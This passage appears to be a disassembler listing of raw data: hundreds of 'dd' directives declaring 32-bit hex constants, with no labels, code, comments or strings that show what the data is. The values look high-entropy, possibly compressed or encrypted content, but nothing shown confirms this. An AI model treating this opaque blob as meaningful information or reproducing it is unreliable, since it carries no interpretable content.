		dd 0E9DA614Dh, 0ED6BFEA7h, 22F0C8A7h, 0E7952098h, 83BFD49Fh
		dd 457F6C2Bh, 63E9DDC8h, 82FEDEBDh, 2B236672h, 7A5A0409h
		dd 0A9B2BB12h, 4B20FCD3h, 0E9C098ABh, 0E4947B5Bh, 3805E0EBh
		dd 0B4A170Eh, 4F01C683h, 2F950414h, 8489E6E2h, 42F4AB25h
		dd 68551E5Bh, 0BCD4AD9Fh, 4FA3E9D0h, 0DD34A446h, 7F4FE73h
		dd 93A8CE5Bh, 0FA67FC4h, 62ADD75Fh, 4615B29h, 984AA968h
		dd 0ADE88C52h, 0EED10507h, 5B5BE6C1h, 3F053BA8h, 82A52CB7h
		dd 4D5B3067h, 6AA71726h, 0E7D65087h, 5B69B230h,	0D7B6F6ECh
		dd 4E8ADBFBh, 68F938AAh, 0D102CD4Eh, 0EE694CE9h, 76119897h
		dd 0C78005B7h, 0F021E9F2h, 0D85C312Fh, 0E3D11648h, 4A0787F3h
		dd 8761DF09h, 79FBF2C7h, 0B384C156h, 1D03C54h, 753645CCh
		dd 54DF4C23h, 0B4700B38h, 0FDA5CD4Ch, 299E74E6h, 0A6125EBDh
		dd 40C412F7h, 7385E7ABh, 0EFEC0BA8h, 3E281C0Ch,	3CF61864h
		dd 0EE4CFB2Ah, 0B6BE8B20h, 3387C303h, 0B0D2AFF2h, 0D5F0A986h
		dd 0D5C96051h, 320BE951h, 0DFCC5D91h, 0AFD7F63Eh, 57750B60h
		dd 0E98BCECDh, 5C52E12Fh, 13B5CB2Fh, 0BDADBAEDh, 0E3A06318h
		dd 411385C9h, 41AA1E1Dh, 9357FEF7h, 204C354Ch, 0B0B7561Bh
		dd 3C5A0248h, 0D63A752Dh, 790392CCh, 0F0294138h, 0F30712E5h
		dd 0EAB77B68h, 0F5838550h, 82AFB6EBh, 0EEB18DE9h, 95032F4Eh
		dd 602058E4h, 0A58595Ch, 1D90D0DFh, 5D31A2Ch, 565A6D82h
		dd 66685019h, 65A3254Bh, 375D2679h, 0B4C50173h,	0E87ACE06h
		dd 95C64379h, 0B775D8h,	2CAA88F2h, 5AD131ECh, 0C8A89AA3h
		dd 7EEAE778h, 475555Ah,	0E5D30CBFh, 0D273F7D5h,	0FB04424Bh
		dd 6682B49Eh, 0CE88038Ah, 0C045F392h, 144DCA7h,	0E9805BD9h
		dd 6FF1CC96h, 0EE4566EAh, 12CB2370h, 605735Bh, 0B54A80A0h
		dd 56A2E204h, 81BE22F9h, 89DAF780h, 11D57CAh, 9D1AE90Bh
		dd 28674E7Eh, 211918E3h, 7FDCE048h, 70B51C25h, 0C0EC8C58h
		dd 6D1FB6FCh, 0DD984976h, 3EDB8F3Ch, 2F8168Eh, 58941ACh
		dd 0BE9E857h, 0EF99CF7Bh, 6D1D5803h, 0A7B90C5Ah, 0EF039840h
		dd 0BDB26801h, 98B71749h, 0F292BC67h, 2047F2AEh, 5C07EF29h
		dd 1CADB850h, 13686700h, 67B1BC23h, 0C029BDB2h,	0B52451D8h
		dd 45088A2Fh, 0A5BF01B3h, 602A9BC8h, 65009303h,	0DF011557h
		dd 9307D968h, 0C083F1Bh, 6E027D82h, 0FC17353Bh,	0C86662F5h
		dd 1AEBBA00h, 0BD4151B3h, 82F06D20h, 24A2D875h,	0C779EE72h
		dd 7BFDA252h, 0F40DEC75h, 2780B54Eh, 0F828A2B7h, 0CA5B6638h
		dd 0D6808129h, 0DFED80C8h, 5905EA88h, 2826B753h, 0E21F11E8h
		dd 2109FE9Dh, 7A40A9E9h, 0F2E4D587h, 8D6F733h, 0EA24C731h
		dd 0DE5C450Bh, 0E90438A4h, 35FAE63Fh, 82858811h, 0D440A441h
		dd 3E3B5D25h, 6B1A48D3h, 0E9FFE19Bh, 0C2684B0Bh, 109DB75Ah
		dd 0E93E4FF4h, 990859ACh, 6F586644h, 0F12FFA8Bh, 5FA511FCh
		dd 41B0A914h, 0F69AA22Fh, 0E897CEDCh, 0CE778424h, 7105011Fh
		dd 0ED3DC150h, 3257DADEh, 9D4084A0h, 5EAB607h, 1236B8F5h
		dd 0BAF59E8h, 0F704C347h, 39EBE8D9h, 0CE02F8F6h, 0E9C6FE1Fh
		dd 3587F434h, 0DEB3EA79h, 10FDD0A4h, 3124336Ah,	0A610D746h
		dd 7300EC4Fh, 0C28DEC52h, 6153D4F6h, 0D263075h,	8CE5881Ch
		dd 0F50C59EEh, 110E927h, 23E380FCh, 8C37C49Dh, 0CC12C6EBh
		dd 11B4501Fh, 0C042E4C4h, 9D2E05BBh, 83E2AE6Ch,	3D105ED4h
		dd 0FBBA02E4h, 774C6D65h, 89C4B43h, 769A0808h, 0F5054226h
		dd 0E1FE405Bh, 0B5C23F79h, 0FD324AFCh, 0FC7E480h, 893FEF77h
		dd 0FC442EF0h, 693409Dh, 0FDBFF080h, 1E992565h,	56ADBDD6h
		dd 4A0B20D0h, 118BC5Eh,	7BEB5703h, 0BAF07BDh, 14EC950h
		dd 2D91CFFEh, 9FFB705Ch, 41AA7082h, 0CF4C515Dh,	8CC5F0F7h
		dd 0F7253993h, 7A274E65h, 0A22030F1h, 0DB54F5C1h, 22EC745Eh
		dd 0C4420272h, 4756E92Eh, 582A9CDFh, 0FE103A88h, 0C60112C4h
		dd 0E0D3BFE2h, 0D75F109Dh, 0C768B020h, 0CE189D12h, 5805B3Dh
		dd 1C0400FDh, 11FC2D17h, 892FBC52h, 0D6A95DC6h,	2275F40Bh
		dd 63DA0105h, 0F014FA42h, 0B222B7E6h, 8FE159CFh, 98BE0571h
		dd 0A5C8B3Eh, 46FC2558h, 168998F3h, 422E8EEAh, 7DCFE993h
		dd 0EB76C34Ah, 31CA5218h, 939694EFh, 7CBDFDEEh,	4CC1365Ah
		dd 0BE2F0C33h, 40D04161h, 540B1839h, 0DE820620h, 14558D1Fh
		dd 2DC37D5Ah, 7E7C7B41h, 0D95FC862h, 0D7210489h, 1B14B05Ah
		dd 23772F12h, 0EDFC47AFh, 51E310C2h, 6490E831h,	85C5BD6Eh
		dd 6EE17FDh, 0E6558F33h, 0D6B0D77Ch, 26CF3052h,	6E194AE3h
		dd 0A1F8F26Fh, 0F3BDC3C9h, 18D30BCBh, 4D0C0C04h, 80EB2BEAh
		dd 12DF1113h, 0EDD14518h, 5D4B5986h, 650169A4h,	0E9787068h
		dd 24CC7C26h, 57496D5Fh, 503E8E11h, 98B65A92h, 74C6801Ch
		dd 0EE5DE61Dh, 2629B168h, 7425837Dh, 0A54EB41h,	0EB19555Ah
		dd 0E3C1480Fh, 0E776DB1Eh, 12187825h, 539818h, 7A22B8D6h
		dd 0DF2FE92Bh, 0E986FE52h, 8B067957h, 10C75576h, 0A7CE5F27h
		dd 7FDDE935h, 559023F2h, 6FC50896h, 7B090928h, 0D6362A0Ah
		dd 80291316h, 2074EF17h, 0DFD61A3Ch, 207B29EAh,	30803F6Dh
		dd 0E11ABFF8h, 0F0FD7655h, 0AFA9B064h, 13F87BD1h, 595A110Eh
		dd 0F4FECB5Fh, 1C3D377Bh, 0DD2702D3h, 5068E998h, 928C125Ah
		dd 18C64122h, 0A5D248F6h, 0E3B6A5FAh, 0AD98EFCDh, 74DE4CAFh
		dd 4D0533D4h, 0A0414946h, 5B0CE555h, 1072BB1Dh,	0FFB2568h
		dd 41E2AEE6h, 6079B125h, 2DA529CAh, 5250539Ch, 68914EC2h
		dd 18E05523h, 0FE8C03Bh, 33250F95h, 54493703h, 0B2124802h
		dd 1C810841h, 45A528CCh, 3CAF2A5Dh, 0FD6EF9CDh,	3ED2A5BEh
		dd 6207CBDh, 9647B40Fh,	58E1C4FEh, 4E9250D0h, 534B5F38h
		dd 4E8E925h, 0D50CE95Fh, 0EE6014E2h, 89CBF57h, 16106424h
		dd 8452D002h, 88487F45h, 7C82BC8Fh, 5EDB25ECh, 0E4F5E942h
		dd 16D95B9Ah, 476A0979h, 2D6AE0DFh, 0A4859172h,	9CE21773h
		dd 90BF53EBh, 9765E974h, 23C7BEC2h, 0FC173902h,	72A25D4Ah
		dd 27B1A16Fh, 96956443h, 45DB2E12h, 0F1D5301h, 0E17E34B5h
		dd 8FB26B87h, 8689A85Eh, 20813C49h, 0F4975BCFh,	87E0438Ah
		dd 57096976h, 73C87Ch, 0E842A002h, 0FC295115h, 4914F86Fh
		dd 6B0D02Fh, 42997A3Ch,	12E9261Ch, 0B2528090h, 84F28085h
		dd 61557AF6h, 40061D3h,	62D5FAD1h, 0F726C6E9h, 0C1FE8770h
		dd 0C829780h, 0B1175172h, 3C04F6CBh, 500FCE1Ch,	0C0C9D77Dh
		dd 0E570BBE6h, 278C724h, 0A4FF3192h, 545E7905h,	0CAD21B5Dh
		dd 7F056C82h, 0EDDCEBEAh, 0D744C9CEh, 0D4305CB2h, 864DE954h
		dd 0E8C100D2h, 68C83118h, 24104B3Eh, 0B25D9763h, 26E67A0Ah
		dd 0F734E992h, 0A8EA0BD3h, 4BE98EF8h, 5B6E7DFDh, 6E42B296h
		dd 6251DFD4h, 6B90752Fh, 71953D31h, 59894F12h, 87FD4DE2h
		dd 1A27312Eh, 7DD78847h, 1A98551Bh, 840250C4h, 9A684D4Fh
		dd 94A4C5Ch, 4693737Ah,	958C02F7h, 30F1DDBDh, 0B5B58288h
		dd 0BEC6824Ch, 21FE8A82h, 0DE62EA7Eh, 6250073Ch, 5BDD7FBBh
		dd 11F44927h, 0B36CFF7Ah, 4A02E9Ah, 0B49CC797h,	0DC421B67h
		dd 2D72DC7Dh, 8FEF1275h, 0A9A54565h, 0B116C5FDh, 56DDEAD7h
		dd 5E42AE2Ah, 558841B4h, 443457Eh, 0E2D8828Dh, 0B7846C5Ch
		dd 0BF5493D4h, 9FA8B67Bh
		dd 322E239h, 139C2D1Fh,	2CC2BCFEh, 146801E5h, 922E2269h
		dd 417AE4FAh, 4491F34Dh, 71F8EB3Ah, 0C700330h, 974B7467h
		dd 0C38685F7h, 90C081Ah, 9C875D14h, 0CEFD0B61h,	356C4B7Ch
		dd 37E0EB26h, 219041D1h, 4EDE553h, 19024DBDh, 514A956Eh
		dd 0BD9BE355h, 1039D583h, 3EB9962Ch, 0E551259h,	5D10D4A3h
		dd 0CB291A56h, 0B5F1FABAh, 0ACC307B0h, 1F804406h, 8328FB01h
		dd 941C4A08h, 3A8AF111h, 6EADB0B8h, 0AF89B4FDh,	559DBF50h
		dd 5709C0B4h, 0DC286D68h, 9BA0A740h, 2660B5F7h,	0ADC03A4Fh
		dd 1438005h, 7C3525A2h,	0F64A8B34h, 796DBD8Fh, 0F15EDC35h
		dd 0A701443Eh, 0B39C77DEh, 0CEC218B4h, 9BF1D7B2h, 9FB45C9h
		dd 44F5D0F7h, 1695A66h,	29C5B8D9h, 955D2147h, 57E50194h
		dd 0E3552EB4h, 5801C25Ah, 2D4800B8h, 68FB5D1Dh,	2EB8430Dh
		dd 99353100h, 0E9CAE149h, 0BBD65BCBh, 0EBD256h,	872DA71Fh
		dd 22C5310Fh, 0F6EBEFC4h, 0C1EC5199h, 0EF01015Ah, 0D48AB27Eh
		dd 751416D4h, 2953A82Dh, 0BAD16C61h, 1D480CA0h,	64EF501Bh
		dd 702FF49Dh, 0DEB5C3FEh, 6A40579Eh, 3107D965h,	0FC087661h
		dd 134601B4h, 1796201h,	8101581Fh, 0F4CE032Bh, 469C104h
		dd 100C4A2Ch, 5C88B129h, 20D87CF5h, 0B3217B3h, 2597148h
		dd 63021552h, 412B0254h, 20612F06h, 9F204B2Eh, 8087FE8Fh
		dd 58CCFDE5h, 40AD6180h, 6E40CAA6h, 4201E301h, 7E3D0162h
		dd 0E17A7999h, 773C018Eh, 912A8003h, 0E7208811h, 9CE6204Dh
		dd 2057A920h, 4F632321h, 20B23F09h, 9C620C11h, 6AC53D1h
		dd 5420B949h, 0A4E4312Ah, 180BC08h, 61998BC3h, 889DC8FFh
		dd 0C862FA1h, 501114ADh, 0C8371880h, 62080549h,	0A7200824h
		dd 82F660Ch, 0D16F406Ch, 9B296466h, 0A00240C1h,	40F98340h
		dd 7F408898h, 266C4016h, 0A97D2240h, 0E05153C0h, 0D802681Dh
		dd 6DEA8A2h, 54D93706h,	40A38409h, 29CA6E70h, 601064EEh
		dd 3382D210h, 84D81991h, 0A53DA04h, 2088BC12h, 4FE1081Ch
		dd 80F5D08h, 3E0881AFh,	32A08B7h, 6260E41Eh, 727E1929h
		dd 39440C0Eh, 0FED780A1h, 545DB8A0h, 0C18CBB81h, 1318F69Ch
		dd 643CA040h, 439D185h,	33040A96h, 0B8A0041Ah, 0A99DD04h
		dd 5788F45Ch, 2093085Ah, 0C8EE808h, 0B0D10488h,	0DDF43F80h
		dd 6177D970h, 108303B1h, 10907551h, 0C22A88C4h,	0E4C32C0h
		dd 7A0394D1h, 860810AEh, 0B656108Ch, 64A1F231h,	10730316h
		dd 10150BE1h, 0BC184C6Bh, 8B3218F8h, 8426283h, 4B02191Ch
		dd 0B280236h, 2378002h,	0A90202A4h, 448F0584h, 0A61CED0h
		dd 0D188C89Dh, 0B93B1829h, 638045C0h, 515D812Eh, 1860BF4h
		dd 0DA016F20h, 10BB035Bh, 1098D5E9h, 0DC19350Fh, 347812Fh
		dd 4C312AB9h, 0A1AD62C4h, 33024A74h, 0A6F702BBh, 209A7D03h
		dd 0F620B581h, 8066E638h, 11809346h, 2775807Fh,	9E71D782h
		dd 30F3D562h, 788DF0EDh, 0B61F5266h, 257B2851h,	0A922035Ah
		dd 5D3200AAh, 69C2F281h, 3BF81E32h, 0D7FC8C5Ch,	7BC6EE01h
		dd 0B3FC666Ch, 23D9B722h, 0E15463A7h, 247E88CFh, 1803B8CAh
		dd 551495DFh, 1AEA0C68h, 0CD6E3BBCh, 516F5B00h,	0B8505719h
		dd 3F0316FCh, 58CCEC0Dh, 7F680666h, 0A0C54AFh, 2BD317B7h
		dd 1FFA00A2h, 0FD316B90h, 5E65E912h, 5D69AE88h,	0F7035874h
		dd 1D2E7AFFh, 8A10D7ABh, 0BE5B4D5Eh, 5492545Eh,	41AA7084h
		dd 8F0BCB4Ch, 7EE3A57h,	646E0420h, 40C3F84Fh, 0E9125E07h
		dd 36F8A673h, 24E4B6C5h, 0CFC7ABAEh, 0D30BFD89h, 0D13C3905h
		dd 0DCE3D1D7h, 0ED21E12h, 949965E9h, 0E275FD87h, 0F7E2B25Fh
		dd 6E0B3939h, 61179CB3h, 3C50F346h, 0D6D84B85h,	5E99F655h
		dd 3B56D10Eh, 28523E80h, 2A7FE5EBh, 0F31A278Bh,	0F0DF1029h
		dd 26B1099Fh, 21D4592Ah, 0A3970720h, 1C08A5FDh,	5771BE2Fh
		dd 3AE840h, 4B5C7548h, 0E10DE8E9h, 9F13F92Bh, 0F3FA6712h
		dd 0C2061217h, 946232BBh, 88BE5955h, 0AD000633h, 112F292Dh
		dd 49A6F605h, 82606760h, 7273502Ah, 81269FA1h, 0E9CE290Dh
		dd 84C331BDh, 0E05D28EFh, 0D71A876Bh, 6E984443h, 0C94B6142h
		dd 16AF6985h, 639C64Fh,	62E9020Dh, 0F2F23499h, 136813E6h
		dd 72C3E314h, 52E0A09Fh, 14325BAh, 0A5BD789Dh, 2B66515Ch
		dd 9282FDB4h, 0E25EB5FAh, 93E81E44h, 2B37BA03h,	8D2F1B97h
		dd 27EA7101h, 271F14FDh, 0C8E80581h, 0CF25CECDh, 949D4F2h
		dd 852D9455h, 34B8E048h, 1E3010CCh, 43856432h, 680CF0E1h
		dd 0F631A0Bh, 20E67D78h, 0E2BB009Fh, 2587F09Ch,	9373D589h
		dd 8539A13h, 0B151EBEh,	35D117C2h, 720B6804h, 8200758Bh
		dd 0E96A435Fh, 6C9FADF5h, 0E0764B14h, 0C85E31BDh, 0FE4E92CAh
		dd 3A7FBA31h, 0AF591C92h, 5066F127h, 7E681214h,	5BD78C1Eh
		dd 9C6BAABDh, 0F7E4D647h, 0D7A71EECh, 0CD37BCF9h, 0F3930C41h
		dd 64780952h, 91528BD1h, 0A1404ABAh, 76980866h,	0B1E21F3Eh
		dd 116D27Fh, 17B3DB0h, 50F24C1h, 0A806F902h, 0F6A4E935h
		dd 8BCA3DE2h, 0EBE90B49h, 7A947491h, 0E1A17A75h, 2C8D727Bh
		dd 0B8AA0843h, 1625807h, 0C4CD46BAh, 17077712h,	0CC6F81BFh
		dd 8135787Fh, 0C5BF575Ch, 65F277F5h, 0CABB812Ah, 3E6CCF22h
		dd 0A93653BEh, 2F0C00A1h, 0FE943E3h, 0C5C1C01Ah, 2D1F28D4h
		dd 804F5CBFh, 0E42E91B5h, 5D3DEB09h, 0EACB024Bh, 6010FA50h
		dd 80352233h, 0A613B551h, 3204F580h, 6802AF3Ah,	16DD441Eh
		dd 56553FA3h, 0A021E284h, 0E1F3C108h, 0C5CE0769h, 7CF99E25h
		dd 0FA30FF19h, 5A243E54h, 3D7F68AEh, 0C700B8AAh, 64615725h
		dd 506A10F6h, 5815F251h, 905527B9h, 0C4956D7Fh,	0FA57E3A9h
		dd 40455098h, 0F70B80A2h, 4F8285Dh, 0FE166C86h,	0A9528898h
		dd 0D2762Ah, 0C480ECD0h, 3CEA5A73h, 58E1301Ch, 0FC934CEFh
		dd 68BD0AE6h, 62997033h, 25558CB1h, 0AE04D064h,	5A0B45A0h
		dd 921F6CF7h, 2DBB25E0h, 160C8FE6h, 0FA7AF405h,	0FE878046h
		dd 92C44764h, 0FBF38100h, 0EE5FCF3Bh, 0DC18C7E9h, 3C91D12h
		dd 77187F12h, 8E6C0CE1h, 0CF053E76h, 395F1E2Dh,	9B02E853h
		dd 0B8F36E6Ah, 138FEAE3h, 0FAFB5F0Bh, 0FD779D22h, 9F090A7Bh
		dd 0C9DED611h, 4AE30303h, 0FDEB5702h, 4023596Fh, 197D5B53h
		dd 0EA504B67h, 70EB10B0h, 688C1713h, 1507BD5Ah,	6EF08A3Fh
		dd 2BF3654Ch, 0FE9781FFh, 0B74070C4h, 0C04A9195h, 0DFFE9535h
		dd 0E076814Ah, 0C14A20Ch, 490B1F91h, 0ABD78DEBh, 69A36B2Ah
		dd 82DF29C4h, 905B6A1h,	55E498BBh, 3103BD04h, 0C5804E9Ah
		dd 2653C7Ah, 68EDD127h,	0AA6C1369h, 803BF2Eh, 0BAA4F547h
		dd 6CE66CC0h, 9413B48h,	5EC9C602h, 78575110h, 40EF06EDh
		dd 0A233FA6Ah, 3443A91Bh, 5DE0E136h, 0EC3E47DDh, 0A20841B2h
		dd 41F9141Ch, 75D9E920h, 53897A1Bh, 0B11C0ABEh,	9ADF2F6Eh
		dd 8981F99Ch, 445FFA65h, 264C9184h, 495F24DEh, 0E9165872h
		dd 21AAB5CEh, 2F8E68ACh, 0BDEF7BC4h, 0CAFB973Ch, 58B904FCh
		dd 0F802D6Ch, 174D86E1h, 92E945A2h, 52D55C60h, 0E0837618h
		dd 0E4239872h, 8DFF24A8h, 0EBC43D8Ah, 63BA106h,	0E5222907h
		dd 48680840h, 1948BB56h, 3A4E8CEDh, 0E9833AACh,	2741168Eh
		dd 0FFC32EC6h, 0A6D4AF57h, 36EB9C94h, 170B627Dh, 5D7FE065h
		dd 2D08F728h, 7BE98118h, 0A4DC965Fh, 6D19121h, 213661E9h
		dd 33D7F70Fh, 0AAC99EB9h, 54185D48h, 0EB83F99Ah, 0E20B4E95h
		dd 13BA4FA6h, 4A1E0A23h
		dd 1BD83DFh, 88C58D37h,	161D271Ch, 0ED806862h, 0DD10DED8h
		dd 4BB530E9h, 1BAAB93Ch, 0CF013E24h, 124E680Eh,	0D286A2BEh
		dd 7B59EB45h, 94AB46D5h, 0D8E8016Ch, 7E28A635h,	97A9031Ch
		dd 406FDC2Fh, 0F1B3BEFh, 71800CDEh, 0FBE937A3h,	235FD40Ch
		dd 1F2C2078h, 90EC883Fh, 5B25058Bh, 12A514DFh, 0BF61B151h
		dd 32C32B0h, 0C075B450h, 0EC9A07E4h, 6DFED3C0h,	0A6825881h
		dd 9233C79h, 0BA298850h, 0F54AD039h, 0F84B8B0Bh, 17652DC7h
		dd 6A8BCF3h, 0E103F373h, 0F7EB872Ch, 0ED084ADDh, 14CB04B2h
		dd 0D1804969h, 2E512EC3h, 3D3FD09Fh, 0FA5BEC53h, 102F2B2Bh
		dd 7D0DB5E0h, 776C7B00h, 0F27CD52Dh, 2761975Ch,	0ED0E6F73h
		dd 8447E5B8h, 0B7D3F7C1h, 5A59D7C2h, 25B7C4CBh,	7D475A8h
		dd 2528E6CAh, 5060094Dh, 150014FDh, 27BE782Eh, 9637D50h
		dd 0A9E9D631h, 0F921A740h, 0B05C33EEh, 95C180CDh, 0C13C9F76h
		dd 0C82BC00Ch, 4E9717Eh, 0AE08129Eh, 0B192B2B2h, 0B11F0893h
		dd 57271017h, 0DF02EE09h, 0E915A03Ch, 59F7A10Dh, 770D9A48h
		dd 1B2F34EEh, 0C2FED65Bh, 9A87CC6h, 893C1FCEh, 0B2C2EFEDh
		dd 0A5BC9E51h, 5E4062B4h, 3C1D42EDh, 0A58120A9h, 2FBA6852h
		dd 137844A3h, 0AE8801A8h, 0EDBD7000h, 0F4264D75h, 31E92EEEh
		dd 0B7BA81D1h, 3F5BDA06h, 0A95D8F0Bh, 3E407D01h, 0EB17D1F2h
		dd 77EC6367h, 0E8C947Fh, 93E45A66h, 9E8166Eh, 9D544114h
		dd 0C55FEB5Ah, 1D3E6804h, 2754D7CCh, 6854565Dh,	98AC46E9h
		dd 3B8127EFh, 1740B912h, 4E959B30h, 48EEF6F4h, 5EA6ACA2h
		dd 0A63E0F01h, 8DCFE907h, 295E1685h, 1A43BD10h,	0D6B99F99h
		dd 0F1E9790Fh, 0BC9E7F4Ah, 0E28E710h, 34760FBFh, 0B1F71BCDh
		dd 1031A893h, 5C3848F0h, 6DE5805Eh, 6B5A1374h, 0E90BD5E9h
		dd 663047D2h, 44074E4Dh, 0EB295D78h, 96ED0039h,	371C170Eh
		dd 146FB01h, 16FCC4Ah, 26C87405h, 1035073Fh, 0A34BA54Fh
		dd 978A1A33h, 79094654h, 2568E6BAh, 2EF60554h, 3250F2C0h
		dd 0A05E74C5h, 946FDC6h, 0E1D152DFh, 0D280B19Ah, 1CAF6493h
		dd 0A5653EF6h, 61AA5916h, 543F48E4h, 8E74ACB9h,	5D684355h
		dd 3FB7A2h, 0E93FDF05h,	0D97A867h, 8C3E1EF2h, 0C4649218h
		dd 12E5F82Eh, 3612F128h, 636EBC0Eh, 0B7FEE8E9h,	8431F843h
		dd 0B4AAB9EBh, 0AB2D09EFh, 5DEA64D4h, 992C5A16h, 403590D1h
		dd 2C02B68Bh, 0CE80EED0h, 8CBA41E5h, 46C73381h,	30372E09h
		dd 12406882h, 0FCFFA4Fh, 74453358h, 95221789h, 715FFD31h
		dd 0F5E3428Fh, 18386801h, 7D6996Ah, 0B84711C2h,	4C123A42h
		dd 433DD0EDh, 5BD077Ch,	490F44ECh, 0B2DBE85h, 2A7C5907h
		dd 6879D75Ah, 0A995D2A0h, 0BF3763Bh, 0CCF5FB28h, 59F77CFCh
		dd 5F0B92D1h, 0B9D51188h, 61418261h, 8B7E213Fh,	2DE909A6h
		dd 0F049E483h, 655B455Ch, 8120E47Eh, 906812C2h,	0F577B13h
		dd 0A815550h, 3B22330Fh, 0BED1098h, 8F93BE4h, 684C4857h
		dd 0B7D62C8h, 27EC3DB3h, 1E2ED720h, 2681F929h, 0C68D66F8h
		dd 1B9252E4h, 0D5204B7Fh, 0F65C169Ah, 0D399BAF1h, 3F59B53Ah
		dd 0C4C1EDE2h, 2E527622h, 4B684AA0h, 0AFCD346Dh, 0C1E145ECh
		dd 5B2370EDh, 54B700E7h, 48CF0780h, 6008EFC0h, 506658E7h
		dd 0FA8FB03Eh, 0C7282517h, 3C4CDB15h, 907D89B9h, 6600F541h
		dd 34F9EB81h, 0C796B30h, 5B7B4D11h, 4132E928h, 140CA208h
		dd 0AB2345F9h, 70835965h, 0C0C94E27h, 32D9C613h, 720A4C2Eh
		dd 8EE283Ch, 27F9E92Eh,	2AF7BB81h, 5FE83574h, 9A1DB289h
		dd 9A65E993h, 61500812h, 0CA7D413h, 0B2ECD1E8h,	70BD7EB2h
		dd 8565C69h, 0A06BD55Eh, 20FABDBEh, 0A50D9B2Ch,	0AC10DD03h
		dd 0C30C072Fh, 0C014C91Ah, 0E152F0E5h, 0A0180E60h, 0CE2C1C1Eh
		dd 0E3E4F40Ch, 0BD12EBD1h, 63BEDA9h, 873A274Bh,	0D9115C6Bh
		dd 180B6691h, 2DAA6623h, 8F5B3331h, 0A3780F0Bh,	0D009919Ah
		dd 2CC9BD6Ah, 1A733E36h, 0D2DD65B2h, 0F82127A6h, 2A896BE5h
		dd 5A0968A0h, 6190310Ah, 0C3532D42h, 72F6FE84h,	2CAB087Dh
		dd 0C1947FA1h, 9A564008h, 0A0806D4Ch, 9D5BF988h, 0E98933D4h
		dd 0BF40D091h, 1A2535E6h, 0DFB35562h, 0CBAAC04Fh, 9E7276Fh
		dd 0D3B674B3h, 0F37D3750h, 0CA359B9Dh, 0BBC2487Dh, 875025Dh
		dd 46E1680Fh, 0BA28AA6h, 62D5012Fh, 0FAC63012h,	0F8518157h
		dd 93AB8C16h, 0F96B56E7h, 1CDAE507h, 7AB46A4Bh,	4380D292h
		dd 0D2CB839Ah, 0ACAEA422h, 87A4B81h, 0F1B846EBh, 0C0B45003h
		dd 0AF13CB2h, 34B36A8Bh, 54565909h, 2137084h, 0DF5A685Dh
		dd 871563B0h, 9352539Dh, 178DC46Dh, 772EAB8h, 98857241h
		dd 51F70BFDh, 285C7619h, 0A354431h, 0C110A668h,	0E7C01F4Ch
		dd 5B857527h, 7B43E869h, 20B8D0B7h, 10904D01h, 0F1A77A94h
		dd 56E961E8h, 24596D1Ah, 0B283C040h, 81E82C41h,	0E9D304D0h
		dd 4C2813DEh, 1E25538Fh, 4FACA9FFh, 0BD0F1FC1h,	2519AC7Eh
		dd 54975657h, 1D92F998h, 0E9BF49EAh, 0BEF0FB33h, 0EBAF9E91h
		dd 554FC061h, 589206DEh, 5C9083FAh, 1D6108A0h, 0EE8F79BFh
		dd 5C38BAF3h, 99045AAAh, 53B26F25h, 192AE98Eh, 0A64C4293h
		dd 6885AEF1h, 3FBC6C96h, 102B79C6h, 0B0E8545Bh,	3F7F0D00h
		dd 4FDB2506h, 2D670A0Dh, 7FEA0A05h, 0E950A401h,	4F5E28D0h
		dd 0BBD261EAh, 0BDE881F1h, 4530381Eh, 2D0BAB3Eh, 5928C15Fh
		dd 486856E8h, 6E13D353h, 0A21B005Eh, 212BEB03h,	73E9FE0Bh
		dd 0C466C40Fh, 0E4488FC8h, 47169A58h, 60AA7BD4h, 7887E9D6h
		dd 0BB5CC082h, 189D0BD3h, 1284CD29h, 0EAA39559h, 1B3F8E45h
		dd 0D21FBF64h, 8EE57CA7h, 50CBFDF2h, 9E69CC02h,	257F47D5h
		dd 0D33D18D5h, 5A5FE9h,	0BF92DA5h, 3AEA6BDCh, 19D62019h
		dd 0A005ADA0h, 9016E163h, 181FF81Bh, 0B912FF82h, 0F7485D44h
		dd 86278EC8h, 69148F0Ah, 28647DD3h, 4DEB8705h, 0F55263E9h
		dd 0A540CEADh, 0E6101E13h, 897C9E4Ch, 187D5F08h, 5FAFE989h
		dd 27B7616Bh, 88FF051Dh, 0F417603Eh, 43FDFBE7h,	93F9F924h
		dd 1EC2FB46h, 5D76EA3Ch, 23200B66h, 0DD294F7h, 3F2372B5h
		dd 893D4048h, 0BD09AC04h, 18E941DBh, 0BB7AA7C2h, 51C046Fh
		dd 0CA4481ADh, 69F62380h, 243E5556h, 7E2E927h, 41B4A0Ch
		dd 0C212AF42h, 0C791892h, 1FA0811Fh, 0CCABE280h, 0EE110C39h
		dd 0CEFE0103h, 0C102E6C0h, 69C63C6h, 28A84304h,	4A52CF0h
		dd 62BD9Dh, 0F3BE5650h,	4FD22F6Eh, 6AAA6260h, 0D5865EA8h
		dd 280D664Ch, 0B40F1A7Ch, 46E728FFh, 25BF1F38h,	2C72F00Ah
		dd 5168360Bh, 0BCEFD97Dh, 0B3525582h, 517D5913h, 30963A4Fh
		dd 7B6CFA5Fh, 5D8ABF21h, 0AEA73BD9h, 58546B02h,	72CEF1F7h
		dd 18096870h, 5E4CB022h, 0DDEC8257h, 8A57B34Fh,	0AB42C187h
		dd 7D7444Eh, 2E181F72h,	1D2CFC1h, 104A8F8Eh, 0A6D74212h
		dd 4824804h, 30AC0166h,	7E1266D8h, 77B5A65Bh, 8275CB30h
		dd 60FB3C40h, 11F5B3C0h, 62F78BE8h, 9D9FE229h, 0E65B5802h
		dd 0B4C5252Dh, 4420854Ch, 480D041Ah, 0E037683Bh, 914FF29Bh
		dd 1EF078E8h, 25E0ED36h, 131D903Bh, 5CBFE917h, 80E20766h
		dd 2D5EECEAh, 0C2856897h, 0E65A1EEDh, 8403D36Ch, 0BFB2EEC9h
		dd 0F3B9A8CDh, 397B95B8h, 286E3A59h, 35C08C1h, 0C95A329Fh
		dd 8145D55Bh, 0ADB4E961h, 0D5E6C99Dh, 0A65BD267h, 96D812F2h
		dd 5BBF32F4h, 6E2A2D98h, 0D021298Dh, 13C4F64Eh,	9DB00080h
		dd 7034E0D0h, 96C350DDh
		dd 63436EC9h, 8D9872C4h, 4F98369Fh, 40FCCCD8h, 38F3E903h
		dd 0FD050292h, 0FC78A638h, 0F566086Bh, 2D435A2Dh, 8D91527h
		dd 555B548Bh, 0CFB8E236h, 0ECCB89BEh, 2082534h,	1237284Ch
		dd 0B2A41D76h, 50CA817h, 60987F01h, 4387EC80h, 0E962157Eh
		dd 0BF028AD9h, 663013D6h, 6AB23EC0h, 21022B12h,	8000B3BAh
		dd 385452ABh, 23769F47h, 0B42D0602h, 7D77E140h,	16AD22DCh
